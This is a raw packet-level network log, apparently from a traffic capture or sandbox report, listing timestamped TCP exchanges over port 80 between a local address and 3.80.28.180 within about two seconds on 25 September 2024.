Sep 25, 2024 03:51:27.819211006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.819236994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.819269896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.819286108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.871447086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871505976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871517897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871536970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871546984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871556997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871567965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871578932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871579885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.871654987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.871927023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871937037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871961117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.871968031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872004986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872025967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872035027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872045040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872066021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872118950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872154951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872174978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872585058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872623920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872641087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872649908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872718096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872721910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872731924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872761011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872807026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872817039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872828960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872873068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.872940063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872948885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872958899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872970104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.872986078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873008966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873095036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873104095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873114109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873126984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873133898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873161077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873321056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873331070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873342037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873353004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873359919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873363018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873383999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873408079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873549938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873559952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873564959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873569965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873574972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873584986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873594999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873596907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873658895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873882055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873892069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873902082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873912096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873923063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873924971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873933077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873943090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.873944044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873970032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.873991966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.874186039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874196053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874206066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874216080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874226093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874228954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.874269962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.874449015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874459982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874469042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874479055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874489069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874491930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.874499083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874510050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874520063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874521971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.874530077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874540091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874545097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.874550104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.874577999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.874605894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875068903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875078917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875087976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875097990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875108004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875113010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875118017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875128031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875138044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875148058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875149012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875158072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875168085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875178099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875180006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875188112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875197887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875206947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875209093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875217915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875228882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875233889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875256062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875715971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875756979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.875961065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875972033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875981092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875989914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.875999928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876008987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876010895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876020908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876030922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876040936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876045942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876050949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876060963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876070023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876070976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876081944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876091003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876101017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876101017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876111984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876121998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876130104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876132965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876142979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876153946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876156092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876180887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876200914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876235008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.876725912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876737118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876748085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.876773119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.910132885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910146952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910162926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910176992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910187006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910197020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910207987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910223007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.910283089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.910290003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.952342033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.966943026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.966974020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.966984034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967022896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967032909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967045069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967055082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967056036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967097998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967129946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967173100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967334032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967401028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967411995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967457056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967489004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967499971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967511892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967521906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967538118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967573881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967710018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967720032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967730999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967741013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967751980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967762947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967762947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967792988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.967917919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967928886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.967978001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968081951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968091011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968100071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968111038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968120098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968128920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968131065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968142986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968153954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968157053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968163967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968174934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968187094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968218088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968373060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968420029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968574047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968584061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968594074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968605042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968616009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968626022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968626022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968636990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968647957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968657970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968667984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968668938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968686104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968697071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.968697071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968728065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.968751907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969028950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969038010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969048023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969058990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969068050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969079018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969079018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969088078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969116926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969125032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969126940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969137907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969146967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969149113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969158888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969168901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969180107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969189882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969199896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969232082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969748020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969758034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969767094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969778061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969786882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969796896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969799042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969808102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969816923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969826937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969831944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969839096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.969856024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.969880104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.970108032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970118999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970149994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.970319033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970330000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970340967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970350981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970360994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970361948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.970372915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970382929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970392942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970396996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.970405102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970415115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970424891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970434904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970436096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.970446110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970455885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970464945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.970467091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970478058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970488071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970498085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.970515013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.970546961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.971257925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971268892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971278906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971290112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971298933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971298933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.971309900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971319914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971329927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.971329927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971340895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971350908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971359968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971370935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971379995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971380949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.971400023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971410990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971410990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.971422911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971432924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971432924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.971445084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971457005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.971465111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.971487045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.001224995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001254082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001265049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001297951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.001321077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001332998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001365900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.001420975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001431942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001442909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.001463890 CEST	49730	80	192.168.2.4	3.80.28.180
